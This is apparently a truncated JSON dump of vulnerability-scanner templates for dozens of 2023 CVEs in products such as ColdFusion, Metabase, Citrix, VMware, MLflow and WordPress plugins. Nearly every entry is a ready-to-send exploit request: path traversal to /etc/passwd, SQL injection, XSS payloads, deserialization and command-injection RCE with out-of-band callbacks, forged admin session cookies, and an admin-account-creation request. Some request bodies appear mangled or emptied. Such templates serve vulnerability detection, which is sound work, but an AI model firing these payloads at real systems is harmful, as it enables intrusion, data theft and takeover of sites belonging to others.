\"HotelDruid\")"],"condition":"and"}]}]},{"id":"CVE-2023-32235","info":{"name":"Ghost CMS < 5.42.1 - Path Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/assets/built%2F..%2F..%2F/package.json","{{BaseURL}}/assets/built%2F..%2F..%2F%E0%A4%A/package.json"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"name\"","\"version\"","\"ghost\""],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-2178","info":{"name":"Aajoda Testimonials < 2.2.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","POST /wp-admin/options-general.php?page=aajoda-testimonials HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naajodatestimonials_opt_hidden=Y&aajoda_version=2.0&aajodatestimonials_code=%22%3E%3C%2Ftextarea%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%0D%0A%0D%0A%0D%0A&Submit=Save\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"></textarea><script>alert(document.domain)</script>\")","contains(body_2, \"page_aajoda-testimonials\")"],"condition":"and"}]}]},{"id":"CVE-2023-23488","info":{"name":"WordPress Paid Memberships Pro <2.9.8 - Blind SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 30s\nGET /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20- HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/paid-memberships-pro/js/updates.js HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_1>=5","status_code_1 != 403","contains(body_2, \"pmpro_updates\")"],"condition":"and"}]}]},{"id":"CVE-2023-29300","info":{"name":"Adobe ColdFusion - Pre-Auth Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST ///CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nargumentCollection=<wddxPacket+version%3d'1.0'><header/><data><struct+type%3d'xcom.sun.rowset.JdbcRowSetImplx'><var+name%3d'dataSourceName'><string>{{jndi}}</string></var><var+name%3d'autoCommit'><boolean+value%3d'true'/></var></struct></data></wddxPacket>\n"],"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, \"dns\")","contains(body, \"ColdFusion documentation\")"],"condition":"and"}]}]},{"id":"CVE-2023-24733","info":{"name":"PMB 7.4.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/pmb/admin/convert/export_z3950_new.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["3@1=<script>alert(document.domain)</script>@"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24489","info":{"name":"Citrix ShareFile StorageZones Controller - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /documentum/upload.aspx?parentid={{url_encode(padding)}}&raw=1&unzip=on&uploadid={{fileName}}\\..\\..\\..\\cifs&filename={{fileName}}.aspx HTTP/1.1\nHost: {{Hostname}}\n\n<%@ Page Language=\"C#\" Debug=\"true\" Trace=\"false\" %>\n<script Language=\"c#\" runat=\"server\">\nvoid Page_Load(object sender, EventArgs e)\n{\n Response.Write(\"{{randstr}}\");\n}\n</script>\n"],"payloads":{"padding":"helpers/payloads/citrix_paddings.txt"},"threads":30,"stop-at-first-match":true,"matchers":[{"type":"dsl","dsl":["body == \"ERROR: The method or operation is not implemented.\"","status_code == 200"],"condition":"and"}],"extractors":[{"type":"dsl","dsl":["BaseURL+ \"/cifs/\" + fileName + \".aspx\""]}]}]},{"id":"CVE-2023-34659","info":{"name":"JeecgBoot 3.5.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /jeecg-boot/jmreport/show HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\n\n{\"id\":\"961455b47c0b86dc961e90b5893bff05\",\"apiUrl\":\"\",\"params\":\"{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(version())),1)) or '%%' like '\"}\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["XPATH syntax error:","SQLException"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0126","info":{"name":"SonicWall SMA1000 LFI","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/images//////////////////../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["content/unknown"]},{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-2356","info":{"name":"Mlflow <2.3.0 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /api/2.0/mlflow/registered-models/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"name\": \"{{str}}\"}\n","POST /api/2.0/mlflow/model-versions/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"name\": \"{{str}}\", \"source\": \"file://{{Hostname}}/../../../../../../../\"}\n","GET /model-versions/get-artifact?path=etc/passwd&name={{str}}&version={{version}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["\"version\": \"([0-9.]+)\","],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-2122","info":{"name":"Image Optimizer by 10web < 1.0.26 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=iowd_settings&msg=1&iowd_tabs_active=generalry8uo%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ef0cmo HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type, \"text/html\")","contains(body_2, \"<img src=a onerror=alert(document.domain)>\")","contains(body_2, \"Image optimizer\")"],"condition":"and"}]}]},{"id":"CVE-2023-22480","info":{"name":"KubeOperator Foreground `kubeconfig` - File Download","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/clusters/kubeconfig/k8s"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["apiVersion:","clusters:"],"condition":"and"},{"type":"word","part":"header","words":["application/download"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-23491","info":{"name":"Quick Event Manager < 9.7.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(header, \"text/html\")","contains(body, \"<script>alert(document.domain)</script>\")","contains(body, \"qem_calendar\")"],"condition":"and"}]}]},{"id":"CVE-2023-38646","info":{"name":"Metabase < 0.46.6.1 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /api/session/properties HTTP/1.1\nHost: {{Hostname}}\n","POST /api/setup/validate HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n \"token\":\"{{token}}\",\n \"details\":{\n \"details\":{\n \"subprotocol\":\"h2\",\n \"classname\":\"org.h2.Driver\",\n \"advanced-options\":true,\n \"subname\":\"mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '{{file}}'//\\\\;\"\n },\n \"name\":\"{{randstr}}\",\n \"engine\":\"postgres\"\n }\n}\n"],"extractors":[{"type":"json","part":"body_1","name":"token","json":[".[\"setup-token\"]"],"internal":true}],"matchers":[{"type":"dsl","dsl":["contains_any(body_2, \"Syntax error in SQL statement\",\"NoSuchFileException\")","status_code_2 == 400"],"condition":"and"}]}]},{"id":"CVE-2023-28665","info":{"name":"Woo Bulk Price Update <2.2.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin-ajax.php?action=techno_get_products&page=<svg%20onload=alert(document.domain)> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"<svg onload=alert(document.domain)>\")","contains(body_2, \"pagination\\\":\")"],"condition":"and"}]}]},{"id":"CVE-2023-0669","info":{"name":"Fortra GoAnywhere MFT - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /goanywhere/lic/accept HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\n\nbundle={{concat(url_encode(base64(aes_cbc(base64_decode(generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"base64\")), base64_decode(\"Dmmjg5tuz0Vkm4YfSicXG2aHDJVnpBROuvPVL9xAZMo=\"), base64_decode(\"QUVTL0NCQy9QS0NTNVBhZA==\")))), '$2')}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["GoAnywhere"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2023-27524","info":{"name":"Apache Superset - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /api/v1/database/{{path}} HTTP/1.1\nHost: {{Hostname}}\nCookie: session={{session}}\n"],"payloads":{"path":["1","2","3","4","5","6","7","9","10"],"session":["eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFnng.XPeCvkBiP7rOv1PhgKZ8xkzi2jk","eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFu3g.k_WNoBY1ouhQyOXa5UcYdjVVuq0","eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_fg.KalpJbMq1SZPCBuunG9-ycDX9HM","eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_zQ.FPiBfT39gn2slf--XZHsk0rByEY","eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKHAPQ.zRjwotMHJES3eW8fJH8F_5GlD-U"]},"attack":"clusterbomb","stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"database_name\":","\"configuration_method\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24488","info":{"name":"Citrix Gateway and Citrix ADC - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E","{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<body x='&'onload=\"(alert)('citrix akamai bypass')\">","<script>alert(document.domain)</script>"],"condition":"or"},{"type":"word","part":"body","words":["Content-Type: text/html"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2023-27372","info":{"name":"SPIP - Remote Command Execution","severity":"critical"},"requests":[{"raw":["GET /spip.php?page=spip_pass HTTP/1.1\nHost: {{Hostname}}\n","POST /spip.php?page=spip_pass HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\npage=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:\"<?php phpinfo(); ?>\";\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["PHP Extension","PHP Version","<!DOCTYPE html"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name='formulaire_action_args'[^>]*value='([^']*)'"],"internal":true,"part":"body_1"},{"type":"regex","group":1,"regex":[">PHP Version <\\/td><td class=\"v\">([0-9.]+)"],"part":"body_2"}]}]},{"id":"CVE-2023-2780","info":{"name":"Mlflow <2.3.1 - Local File Inclusion Bypass","severity":"critical"},"requests":[{"raw":["POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=utf-8\n\n{\"name\":\"{{randstr}}\"}\n","POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=utf-8\n\n{\"name\":\"{{randstr}}\",\"source\":\"file://./etc\"}\n","GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version={{version}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["\"version\": \"([0-9.]+)\","],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-30256","info":{"name":"Webkul QloApps 1.5.2 - Cross-site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(document.domain)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["xss onfocus=alert(document.domain) autofocus= xss","hasConfirmation"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-37270","info":{"name":"Piwigo 13.7.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /identification.php HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: '\">{{7*7}}${2*2}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}&login=\n","GET /admin.php?page=user_activity HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["Warning: [mysql error","INSERT INTO","SQL syntax;"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24044","info":{"name":"Plesk Obsidian <=18.0.49 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login.php"],"headers":{"Host":"evil.com"},"matchers-condition":"and","matchers":[{"type":"word","part":"location","words":["https://evil.com/login_up.php"]},{"type":"status","status":[303]}]}]},{"id":"CVE-2023-29623","info":{"name":"Purchase Order Management v1.0 - Cross Site Scripting (Reflected)","severity":"medium"},"requests":[{"raw":["POST /classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername={{randstr}}&password=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=x onerror=alert(document.domain)>","incorrect"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-28121","info":{"name":"WooCommerce Payments - Unauthorized Admin Access","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nX-WCPAY-PLATFORM-CHECKOUT-USER: 1\nContent-Type: application/x-www-form-urlencoded\n\nrest_route=%2Fwp%2Fv2%2Fusers&username={{username}}&email={{email}}&password={{password}}&roles=administrator\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"registered_date\":","\"username\":","\"email\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[201]}],"extractors":[{"type":"dsl","dsl":["\"WP_USERNAME: \"+ username","\"WP_PASSWORD: \"+ password"]}]}]},{"id":"CVE-2023-31548","info":{"name":"ChurchCRM v4.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /session/begin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nUser={{username}}&Password={{password}}\n","POST /FundRaiserEditor.php?linkBack=&FundRaiserID=-1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nFundRaiserSubmit=Save&Date=2023-06-24&Title=%22+onfocus%3D%22alert%28document.domain%29%22+autofocus%3D%22&Description=test\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"onfocus=\\\"alert(document.domain)\\\" autofocus=\\\"\\\"></td>\")","contains(body_2, \"ChurchCRM\")"],"condition":"and"}]}]},{"id":"CVE-2023-35844","info":{"name":"Lightdash version <= 0.510.3 Arbitrary File Read","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/slack/image/slack-image{{repeat('%2F..', 3)}}%2Fetc%2Fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0948","info":{"name":"WordPress Japanized for WooCommerce <2.5.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=peachpay&tab=field&\"><script>alert(document.domain)</script> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type, \"text/html\")","contains(body_2, \"<script>alert(document.domain)</script>\")","contains(body_2, \"peachpay\")"],"condition":"and"}]}]},{"id":"CVE-2023-20887","info":{"name":"VMware VRealize Network Insight - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /saas./resttosaasservlet HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-thrift\n\n[1,\"createSupportBundle\",1,0,{\"1\":{\"str\":\"1111\"},\"2\":{\"str\":\"`{{cmd}}`\"},\"3\":{\"str\":\"value3\"},\"4\":{\"lst\":[\"str\",2,\"AAAA\",\"BBBB\"]}}]\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"rec\":"]},{"type":"word","part":"header","words":["application/x-thrift"]},{"type":"word","part":"body","negative":true,"words":["Provided invalid node Id","Invalid nodeId"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0099","info":{"name":"Simple URLs < 115 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body, \"</script><svg/onload=alert(document.domain)>\")","contains(body_2, \"search_term\")"],"condition":"and"}]}]},{"id":"CVE-2023-38205","info":{"name":"Adobe ColdFusion - Access Control Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}"]},{"type":"dsl","dsl":["contains(content_type, \"text/html\")","status_code == 200","len(trim_space(body)) == 106"],"condition":"and"}]}]},{"id":"CVE-2023-37462","info":{"name":"XWiki Platform - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/bin/view/%22%5d%5d%20%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%22%74%72%75%65%22%20%63%61%63%68%65%64%3d%22%66%61%6c%73%65%22%20%63%6f%6e%74%65%78%74%3d%22%64%6f%63%2e%72%65%66%65%72%65%6e%63%65%22%7d%7d%7b%7b%70%79%74%68%6f%6e%7d%7d%70%72%69%6e%74%28%33%37%32%34%33%34%38%20%2a%20%38%34%37%33%33%33%34%29%7b%7b%2f%70%79%74%68%6f%6e%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d?sheet=SkinsCode.XWikiSkinsSheet&xpage=view","{{BaseURL}}/asyncrenderer/{{url}}?clientId={{id}}&timeout=500&wiki=xwiki"],"cookie-reuse":true,"skip-variables-check":true,"extractors":[{"type":"regex","group":1,"name":"id","regex":["data-xwiki-async-client-id=\"(.+?)\""],"internal":true},{"type":"regex","group":1,"name":"url","regex":["<span class=\"xwiki-async\" data-xwiki-async-id=\"(.+?)\""],"internal":true}],"matchers":[{"type":"dsl","dsl":["body_2 == \"31557644536232\"","contains(header_2, \"text/html\")","status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2023-26255","info":{"name":"STAGIL Navigation for Jira Menu & Themes <2.0.52 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/servlet/snjCustomDesignConfig?fileName=../dbconfig.xmlpasswd&fileMime=$textMime"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<jira-database-config>"]},{"type":"word","part":"header","words":["$textMime"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-20889","info":{"name":"VMware Aria Operations for Networks - Code Injection Information Disclosure Vulnerability","severity":"high"},"requests":[{"raw":["POST /api/auth/login HTTP/2\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\nX-Vrni-Csrf-Token: null\n\n{\"username\":\"{{username}}\",\"password\":\"{{password}}\",\"domain\":\"localdomain\"}\n","POST /api/pdfexport HTTP/2\nHost: {{Hostname}}\nX-Vrni-Csrf-Token: {{csrf}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFkpSYDWZ5w9YNjmh\n\n------WebKitFormBoundaryFkpSYDWZ5w9YNjmh\nContent-Disposition: form-data; name=\"{{randstr}}\"\n\n<!DOCTYPE HTML>\n<html>\n<head>\n<title>Test\n\n\n

\n\n\n------WebKitFormBoundaryFkpSYDWZ5w9YNjmh--\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns","http"]},{"type":"word","part":"header_2","words":["application/octet-stream"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["csrfToken\":\"([a-z0-9A-Z/+=]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-22620","info":{"name":"SecurePoint UTM 12.x Session ID Leak","severity":"high"},"requests":[{"raw":["POST /spcgi.cgi HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json; charset=UTF-8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\n\n{\"module\":\"auth\",\"command\":[\"login\"],\"sessionid\":\"\",\"arguments\":{\"user\":\"\",\"pass\":\"\"}}\n","POST /spcgi.cgi HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json; charset=UTF-8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\n\n{\"module\":\"system\",\"command\":[\"config\",\"get\"],\"sessionid\":\"{{session}}\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["\"status\":\"OK\""]},{"type":"word","part":"header_2","words":["application/json"]}],"extractors":[{"type":"regex","name":"session","group":1,"regex":["\"sessionid\": \"([a-z0-9]+)\""],"internal":true}]}]},{"id":"CVE-2023-27159","info":{"name":"Appwrite <=1.2.1 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: Appwrite-Server"]}]}]},{"id":"CVE-2023-0527","info":{"name":"Online Security Guards Hiring System - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /search-request.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsearchdata=&search=\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body, \"\")","contains(body, \"Online Security Gauard Hiring System |Search Request\")"],"condition":"and"}]}]},{"id":"CVE-2023-20864","info":{"name":"VMware Aria Operations for Logs - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /csrf HTTP/1.1\nHost: {{Hostname}}\nX-Csrf-Token: Fetch\n","POST /api/v2/internal/cluster/applyMembership HTTP/1.1\nHost: {{Hostname}}\nX-CSRF-Token: {{xcsrftoken}}\nContent-type: application/octet-stream\n\n{{generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"raw\")}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["\"errorMessage\":\"Internal error"]}],"extractors":[{"type":"kval","name":"xcsrftoken","group":1,"internal":true,"kval":["X_CSRF_Token"]}]}]},{"id":"CVE-2023-26843","info":{"name":"ChurchCRM 4.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /session/begin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nUser={{username}}&Password={{password}}\n","POST /NoteEditor.php?FamilyID=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nPersonID=0&FamilyID=1&NoteID=&NoteText=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&Submit=Save\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \">\")","contains(body_2, \"ChurchCRM\")"],"condition":"and"}]}]},{"id":"CVE-2023-29887","info":{"name":"Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd","{{BaseURL}}/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-26842","info":{"name":"ChurchCRM 4.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /session/begin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nUser={{username}}&Password={{password}}\n","POST /OptionManager.php?mode=classes&ListID=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n1name=Member&2name=Regular+Attender&3name=Guest&4name=Non-Attender&5name=Non-Attender+%28staff%29&newFieldName=\" onfocus=alert(document.domain) autofocus=\"&AddField=Add+New+Person+Classification\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"onfocus=alert(document.domain) autofocus=\")","contains(body_2, \"ChurchCRM\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2023-27587","info":{"name":"ReadToMyShoe - Generation of Error Message Containing Sensitive Information","severity":"medium"},"requests":[{"raw":["POST /api/add-article-by-text HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\n\n{\n \"title\":\"Kernsicherheitstest\",\n \"body\":\"Kernsicherheitstest\"\n}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["!contains((body), 'https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=REDACTED')"]},{"type":"word","words":["Caused by:","TTS request failed"],"condition":"and"},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2023-29298","info":{"name":"Adobe ColdFusion - Access Control Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}//CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}"]},{"type":"dsl","dsl":["contains(content_type, \"text/html\")","status_code == 200","len(trim_space(body)) == 106"],"condition":"and"}]}]},{"id":"CVE-2023-32243","info":{"name":"WordPress Elementor Lite 5.7.1 - Arbitrary Password Reset","severity":"critical"},"requests":[{"raw":["GET /wp-login.php HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-json/wp/v2/users/ HTTP/1.1\nHost: {{Hostname}}\n","GET /?rest_route=/wp/v2/users HTTP/1.1\nHost: {{Hostname}}\n","GET /feed/ HTTP/1.1\nHost: {{Hostname}}\n","GET /author-sitemap.xml HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/2\nHost: {{Hostname}}\nContent-Type: 